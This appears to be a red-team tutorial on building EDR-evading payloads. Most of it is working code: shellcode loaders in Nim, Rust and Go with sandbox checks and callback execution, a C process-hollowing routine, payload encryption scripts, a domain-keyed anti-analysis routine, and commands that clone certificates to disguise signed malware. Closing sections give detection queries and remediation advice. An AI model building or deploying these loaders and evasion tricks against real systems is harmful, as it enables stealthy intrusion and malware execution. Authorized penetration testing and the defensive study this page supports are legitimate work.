17 min read

Payload Development

Custom payload development is essential for bypassing modern EDR solutions that signature common tools. This guide covers building shellcode loaders in Nim, Rust, and Go; reflective DLL injection; crypter architectures; process injection techniques; and the methodology for creating detection-resilient payloads.

Authorization boundary — building is not deploying

Payload development capabilities should only be used for authorized security testing, and the boundary that matters is the gap between the two actions: compiling a loader is preparation, while running it on a client host is the operation. Deployment needs the written objective to name the hosts and the window, and it needs the payload to be validated on the client's actual EDR build first. Store payloads and keys encrypted, never upload a custom payload to a public analysis service (you hand over the technique and, often, the client's infrastructure), and destroy the build artefacts after the engagement along with the rest of the toolkit.

Shellcode Loader Architecture

A modern shellcode loader follows a staged approach to avoid detection at each phase:

Stage Action Evasion Considerations
1. Anti-Analysis Check for sandbox/debugger/AV VM Sleep timers, hardware checks, process enumeration
2. Unhook / Patch Remove EDR hooks, patch AMSI/ETW Fresh ntdll, direct syscalls, inline patching
3. Decrypt Payload Decrypt shellcode from embedded/remote source AES/XOR with key derivation, remote key fetch
4. Allocate Memory Reserve RW memory for shellcode Via syscalls, avoid RWX (allocate RW, later flip to RX)
5. Write Shellcode Copy decrypted shellcode to allocated region Direct write or NtWriteVirtualMemory via syscall
6. Execute Change to RX and execute (callback, APC, thread) Avoid CreateThread — use callbacks, fiber, APC queues

Nim Shellcode Loaders

Nim compiles to C/C++ then to native code, producing binaries with unique signatures that don't match common C++ tooling. The winim library provides full Windows API access. The loader below is a working skeleton around a 4-byte placeholder for the shellcode — replace the bytes and the array length with your own encrypted payload before compiling.

loader.nim
# Install Nim and winim
# nimble install winim

import winim/lean
import strutils

# Placeholder shellcode: 4 bytes so this compiles. Swap in your XOR-encrypted
# payload and change the array length to match (msfvenom -p windows/x64/... -f nim).
const encShellcode: array[4, byte] = [0xfc, 0x48, 0x83, 0xe4]

proc xorDecrypt(data: var openArray[byte], key: byte) =
  for i in 0..data.high:
    data[i] = data[i] xor key

proc main() =
  # Anti-sandbox check
  Sleep(5000)  # Sandboxes often skip long sleeps
  
  var sc = encShellcode
  xorDecrypt(sc, 0x41)  # Decrypt shellcode

  # Allocate RW memory via direct Windows API
  let mem = VirtualAlloc(nil, cast[SIZE_T](sc.len), 
    MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
  
  # Copy shellcode
  copyMem(mem, addr sc[0], sc.len)
  
  # Change to RX (never RWX)
  var oldProtect: DWORD
  VirtualProtect(mem, cast[SIZE_T](sc.len), 
    PAGE_EXECUTE_READ, addr oldProtect)
  
  # Execute via callback instead of CreateThread
  EnumDesktopsW(GetProcessWindowStation(), 
    cast[DESKTOPENUMPROCW](mem), 0)

main()

# Compile:
# nim c -d:release -d:strip --opt:size --app:gui loader.nim

Rust Shellcode Loaders

Rust produces highly optimized binaries with unique compiler signatures. Memory safety guarantees prevent common bugs, and the windows-rs crate provides type-safe Windows API bindings. The example is an illustrative skeleton: the AES routine is a stub and the ciphertext is a placeholder, so it compiles but does not decrypt anything until you implement the crypto and substitute your payload.

main.rs
// Cargo.toml — pin current versions; the windows crate changes shape between releases
//   windows = { version = "...", features = ["Win32_System_Memory",
//     "Win32_System_Threading", "Win32_Foundation"] }
//   aes = "0.8"   cbc = "0.1"

use windows::Win32::System::Memory::*;
use windows::Win32::System::Threading::*;

// AES-encrypted shellcode (compile-time encrypted; multiple of 16 bytes for CBC)
const ENC_SHELLCODE: &[u8] = include_bytes!("../shellcode.enc");
// 32 bytes — the length AES-256 requires
const AES_KEY: &[u8; 32] = b"0123456789abcdef0123456789abcdef";

fn decrypt_aes(data: &[u8], _key: &[u8]) -> Vec<u8> {
    // STUB: returns the ciphertext unchanged so the skeleton compiles.
    // Implement AES-256-CBC decryption here before running this.
    data.to_vec()
}

fn main() {
    // Anti-sandbox: check process count, timing
    let start = std::time::Instant::now();
    std::thread::sleep(std::time::Duration::from_secs(3));
    if start.elapsed().as_secs() < 2 { return; } // Sandbox detected
    
    let shellcode = decrypt_aes(ENC_SHELLCODE, AES_KEY);
    
    unsafe {
        // Allocate RW memory
        let mem = VirtualAlloc(
            None, shellcode.len(),
            MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
        );
        
        // Copy shellcode
        std::ptr::copy_nonoverlapping(
            shellcode.as_ptr(), mem as *mut u8, shellcode.len()
        );
        
        // Flip to RX
        let mut old = PAGE_PROTECTION_FLAGS(0);
        VirtualProtect(mem, shellcode.len(), PAGE_EXECUTE_READ, &mut old);
        
        // Execute via thread pool callback
        let tp_work = CreateThreadpoolWork(
            Some(std::mem::transmute(mem)), None, None
        );
        SubmitThreadpoolWork(tp_work.unwrap());
        WaitForThreadpoolWorkCallbacks(tp_work.unwrap(), false);
    }
}

// Build: cargo build --release

Go Shellcode Loaders

Go binaries are large and carry a recognisable runtime, which is both the appeal and the problem: the toolchain is fast to iterate in and the resulting binary has no relation to the C tooling signatures most detections were built from, but a 2 MB unsigned binary with a Go build ID is itself unusual on a Windows endpoint. The ciphertext below is a 16-byte placeholder (CBC requires a multiple of the block size) — substitute the output of the encryption step on the previous page.

main.go
package main

import (
    "crypto/aes"
    "crypto/cipher"
    "syscall"
    "time"
    "unsafe"
)

// 16-byte placeholder for the AES-encrypted payload (CBC needs a block multiple).
// Replace with your own ciphertext before building.
var encShellcode = []byte{
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
}

func decrypt(data, key, iv []byte) []byte {
    block, _ := aes.NewCipher(key)
    mode := cipher.NewCBCDecrypter(block, iv)
    mode.CryptBlocks(data, data)
    return data
}

func main() {
    // Anti-sandbox timing check
    start := time.Now()
    time.Sleep(3 * time.Second)
    if time.Since(start) < 2*time.Second {
        return // Sandbox fast-forwarded our sleep
    }

    key := []byte("0123456789abcdef0123456789abcdef")
    iv := []byte("0123456789abcdef")
    shellcode := decrypt(encShellcode, key, iv)

    // Windows API via syscall
    kernel32 := syscall.MustLoadDLL("kernel32.dll")
    virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
    virtualProtect := kernel32.MustFindProc("VirtualProtect")

    // Allocate RW
    addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)),
        0x1000|0x2000, 0x04) // MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE

    // Copy shellcode
    for i, b := range shellcode {
        *(*byte)(unsafe.Pointer(addr + uintptr(i))) = b
    }

    // Flip to RX
    var oldProtect uint32
    virtualProtect.Call(addr, uintptr(len(shellcode)), 0x20,
        uintptr(unsafe.Pointer(&oldProtect))) // PAGE_EXECUTE_READ

    // Execute via callback
    enumDesktops := kernel32.MustFindProc("EnumDesktopsW")
    getProcessWindowStation := kernel32.MustFindProc("GetProcessWindowStation")
    hStation, _, _ := getProcessWindowStation.Call()
    enumDesktops.Call(hStation, addr, 0)
}

// Build: GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"

Reflective DLL Injection

Reflective DLL loading maps a DLL into memory without using Windows loader APIs (LoadLibrary) — no on-disk file, no PEB entry. The DLL contains its own loader that resolves its address, parses PE headers, maps sections, processes relocations, resolves imports, and calls DllMain.

sRDI

Converts any DLL to position-independent shellcode for reflective injection.

BokuLoader

Public Cobalt Strike UDRL proof of concept — shows how a reflective loader can use direct syscalls. A template, not a component any C2 ships by default.

reflective.sh
# sRDI — convert a DLL to reflective shellcode
# The DLL is a positional argument; the output is always <dll name>.bin
python3 ConvertToShellcode.py payload.dll

# -f is the exported function called after DllMain (default: SayHello), not the input file
python3 ConvertToShellcode.py mimikatz.dll -f DllMain

# Donut — convert .NET assemblies, EXEs, DLLs to shellcode
donut.exe -i SharpHound.exe -o sharpbound.bin -e 3 -z 2
donut.exe -i Rubeus.exe -o rubeus.bin -e 3 -z 2 -p "kerberoast"
donut.exe -i Seatbelt.exe -o seatbelt.bin -e 3 -z 2 -p "-group=all"

# Inject reflective shellcode into a remote process
# Cobalt Strike: the loader used is chosen by the build (UDRL), so the resulting
# indicators depend on your template — BokuLoader is one public example
shinject <PID> x64 /path/to/payload.bin

Process Injection Techniques

Technique APIs Used OPSEC Rating Notes
Classic CreateRemoteThread VirtualAllocEx → WriteProcessMemory → CreateRemoteThread Low Heavily monitored by all EDRs
APC Queue Injection NtQueueApcThread (target alertable thread) Medium Requires alertable thread state
Module Stomping LoadLibraryA → overwrite .text section High Code appears backed by a legitimate DLL
Thread Pool (PoolParty) Worker factory + TpAllocWork High Abuses Windows thread pool internals
Callback Execution EnumDesktopsW, EnumChildWindows, etc. High Execute shellcode via legitimate API callbacks

Process Hollowing

Process hollowing creates a suspended legitimate process, unmaps its image, and maps your payload in its place. Process Doppelgänging is a modern variant that uses NTFS transactions: writes the payload within a transaction, maps the section, then rolls back the transaction so the file never exists on disk.

hollow.c
// Process Hollowing — C/C++ implementation
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;

// Step 1: Create suspended legitimate process
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
    FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);

// Step 2: Get the image base from the PEB
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);

PVOID imageBase;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10),
    &imageBase, sizeof(PVOID), NULL);

// Step 3: Unmap the original image
NtUnmapViewOfSection(pi.hProcess, imageBase);

// Step 4: Allocate memory at the image base and write payload
PVOID newBase = VirtualAllocEx(pi.hProcess, imageBase,
    payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, payloadBuffer, payloadSize, NULL);

// Step 5: Update entry point in thread context
ctx.Rcx = (DWORD64)newBase + entryPointOffset;
SetThreadContext(pi.hThread, &ctx);

// Step 6: Resume execution
ResumeThread(pi.hThread);

Payload Encryption

Encrypt payloads at build time to evade static signature scanning. XOR is simple but detectable; AES-256-CBC is recommended for production. For maximum evasion, fetch the decryption key from your C2 at runtime so the key is never embedded in the binary and sandboxes cannot decrypt the payload.

encrypt-payload.py
# Multi-key XOR encryption (quick obfuscation)
python3 -c "
shellcode = open('payload.bin','rb').read()
key = b'RandomKey123'
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(shellcode)])
open('payload.enc','wb').write(enc)
"

# AES-256-CBC encryption (recommended)
python3 -c "
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32)
iv = os.urandom(16)
shellcode = open('payload.bin','rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, AES.block_size))
open('payload.enc','wb').write(iv + enc)
print(f'Key: {key.hex()}')
"

# Generate C array for embedding in loader
python3 -c "
data = open('payload.enc','rb').read()
arr = ', '.join([f'0x{b:02x}' for b in data])
print(f'unsigned char encPayload[] = {{ {arr} }};')
print(f'unsigned int encPayload_len = {len(data)};')
" > shellcode.h

Anti-Analysis Techniques

anti-analysis.c
// Common anti-sandbox / anti-debug checks:

// 1. Timing check — sandboxes accelerate Sleep()
DWORD start = GetTickCount();
Sleep(5000);
if (GetTickCount() - start < 4500) return; // Sandbox detected

// 2. Hardware checks — VMs have limited resources
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) return; // < 4GB RAM

SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return; // Single-core = likely VM

// 3. Process count — sandboxes have minimal processes
DWORD processes[1024], needed;
EnumProcesses(processes, sizeof(processes), &needed);
if (needed / sizeof(DWORD) < 50) return; // Too few processes

// 4. Username / domain check — keyed payload
// Only decrypt if running on the target domain
TCHAR domain[256];
DWORD size = 256;
GetComputerNameEx(ComputerNameDnsDomain, domain, &size);
if (_wcsicmp(domain, L"target.corp.local") != 0) return;

// 5. API resolution via hash — avoid import table analysis
// Resolve function addresses by hash instead of name
// PEB → LDR → InLoadOrderModuleList → walk exports → hash compare

Code Signing

Signed binaries are less scrutinized by EDR and users. Three options, in increasing order of how much they actually buy you: a self-signed certificate (no trust chain — useful for testing, and immediately visible as an untrusted publisher); SigFlip, which embeds a payload in a signed PE's certificate table without invalidating the existing Authenticode signature; and a spoofed certificate, where CarbonCopy reads the TLS certificate of a live host and re-issues a copy of it — same subject, issuer, serial and validity dates — to sign your payload with.

Be clear about what the third option is: the clone is self-signed, so it does not chain to a trusted root and any real signature validation fails. It defeats the checks that read the certificate's display fields — the publisher name in the file properties dialog, or a naive "is it signed?" test — and nothing more. Never represent a spoofed signature as a valid one in a report.

sign-payload.sh
# SigFlip — inject shellcode into a signed PE (signature stays valid)
SigFlip.exe -i signed_app.exe -s payload.bin -o backdoored.exe

# CarbonCopy — clone the TLS certificate of a live host and sign with the clone
# Positional arguments: <host> <port> <build-exe> <signed-exe>
python3 CarbonCopy.py www.microsoft.com 443 payload.exe signed_payload.exe

# Self-signed cert for testing (PowerShell — the backtick continues the line)
$cert = New-SelfSignedCertificate -Subject "CN=Contoso Test" `
    -CertStoreLocation Cert:\CurrentUser\My -Type CodeSigningCert
Set-AuthenticodeSignature -FilePath payload.exe -Certificate $cert

# signtool — sign with a PFX
signtool sign /f cert.pfx /p password /t http://timestamp.digicert.com payload.exe

Detection & Blue Team

Source Detection
Sysmon Event 1 Unusual process creation with sandbox evasion patterns (sleep delays, resource checks)
Sysmon Event 10 Reflective DLL injection — process access with PROCESS_VM_WRITE + PROCESS_CREATE_THREAD
Sysmon Event 7 Image loaded from non-standard paths or unsigned modules in signed processes
AMSI / ETW Script-based loaders caught by AMSI; .NET assembly loads visible via CLR ETW provider
Code Signing Self-signed or revoked certificates; certificate CN spoofing known vendors
Memory Forensics Hollowed processes with mismatched PEB image base; unbacked executable memory regions
payload-detections.kql
// KQL — Detect process hollowing indicators
DeviceProcessEvents
| where FileName in ("svchost.exe","RuntimeBroker.exe","dllhost.exe")
| where InitiatingProcessFileName !in ("services.exe","svchost.exe","wmiprvse.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine

// KQL — Detect reflective loading / injection
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName != FileName
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName

Evidence Collection

A payload finding is proved by the build and the execution, in that order. The build is what lets the client reproduce the sample after they change a control; the execution is what proves the control did not stop it.

Build record: Toolchain and versions, the source or recipe that produced the binary, the encryption key or its retrieval method, and the SHA-256 of the output. A payload nobody can rebuild is an anecdote, and a key nobody recorded means the sample cannot be re-tested.

Execution proof: The process record (image, path, parent, user, command line), the shell or session obtained, and the timestamp — plus the same event as the client's EDR reported it, which is where the detection gap shows.

Detonation result: Where the payload was submitted for testing (the client's sandbox, not a public one), the verdict, and the exact build that was detonated. If the tested build differs from the deployed build, say so.

Signature status: Whether the binary was unsigned, self-signed or signed with a cloned certificate — and if a certificate was cloned, the host it came from. Never describe a spoofed signature as valid in the report; the fields look right and the chain does not validate.

Destruction: When the builds, keys and any captured payloads were destroyed, and how. The client should be able to close the engagement knowing no working implant for their estate exists outside their own labs.

False Positive Identification

Custom malware development looks like custom software development to most controls, and the client may have legitimate code that produces the same signals.

  • An unsigned binary in a user profile: Internal developers, updaters and portable apps do this every day. The signal is unsigned code executing from a temp or download path with a network connection, not the absence of a signature.
  • A large binary with a Go build ID: A real Go tool installed by IT looks identical to a Go loader by every static marker. Correlate with the host's role and the software inventory before reporting it.
  • RWX or RW→RX memory in a legitimate process: JIT engines (.NET, Java, browsers) flip permissions constantly. The finding needs the memory to be unbacked by a file and reached by a cross-process write, not merely executable.
  • A certificate that fails validation: Expired, revoked and self-signed certificates are common in internal tooling and in cloned ones. Read the chain rather than the publisher name before calling it a spoof.

Testing Checklist

A loader is proved by rebuilding it and re-running it, in that order. If the build cannot be reproduced, the finding cannot be retested after remediation.

Prove the build

  • ☐ The loader builds from the documented toolchain and the resulting SHA-256 matches the hash in the report.
  • ☐ The build runs on the target's OS build and architecture, not only on the lab host.
  • ☐ The reflective DLL converts (ConvertToShellcode.py payload.dll) and loads through your loader; a missing export is diagnosed, not guessed at.
  • ☐ The encrypted payload decrypts at runtime, and the key's retrieval method is recorded.

Prove the execution

  • ☐ Injection and hollowing are proved by the payload producing output in the target process, not by a suspended process existing.
  • ☐ Signature status is checked (sigcheck, Get-AuthenticodeSignature); a cloned certificate is reported as failing validation, never as signed.
  • ☐ Each anti-analysis measure is tested against the EDR and sandbox actually in scope, and the verdict is recorded rather than inferred.
  • ☐ Builds, keys and captured payloads are destroyed at the end, with the destruction recorded.

Remediation

What the client can actually do about this

Deny execution

  • • Application control (WDAC or AppLocker) in enforced mode, so an unsigned loader cannot run from a user-writable path regardless of how it was built.
  • • Signing enforcement for DLLs and drivers, and a policy that only allows binaries from protected install locations.
  • • Block or alert on execution from `%TEMP%`, `%APPDATA%` and browser download directories — the default drop locations for every loader on this page.

Deny the loader its primitives

  • • ASR rules for Office and script child processes, and for untrusted executables, which break the delivery half of these loaders.
  • • Alert on cross-process `VirtualAllocEx` + `WriteProcessMemory` pairs and on thread creation in a process that did not create it — the injection primitives, not the payload.
  • • Credential Guard and PPL for LSASS, so a successful injection has nothing worth dumping.

Make cloning visible

  • • Validate Authenticode chains everywhere, and alert on a signature whose publisher name matches a trusted vendor but whose chain does not validate.
  • • Monitor Certificate Transparency for the client's own brand, which is how a cloned certificate is caught before it is used against them.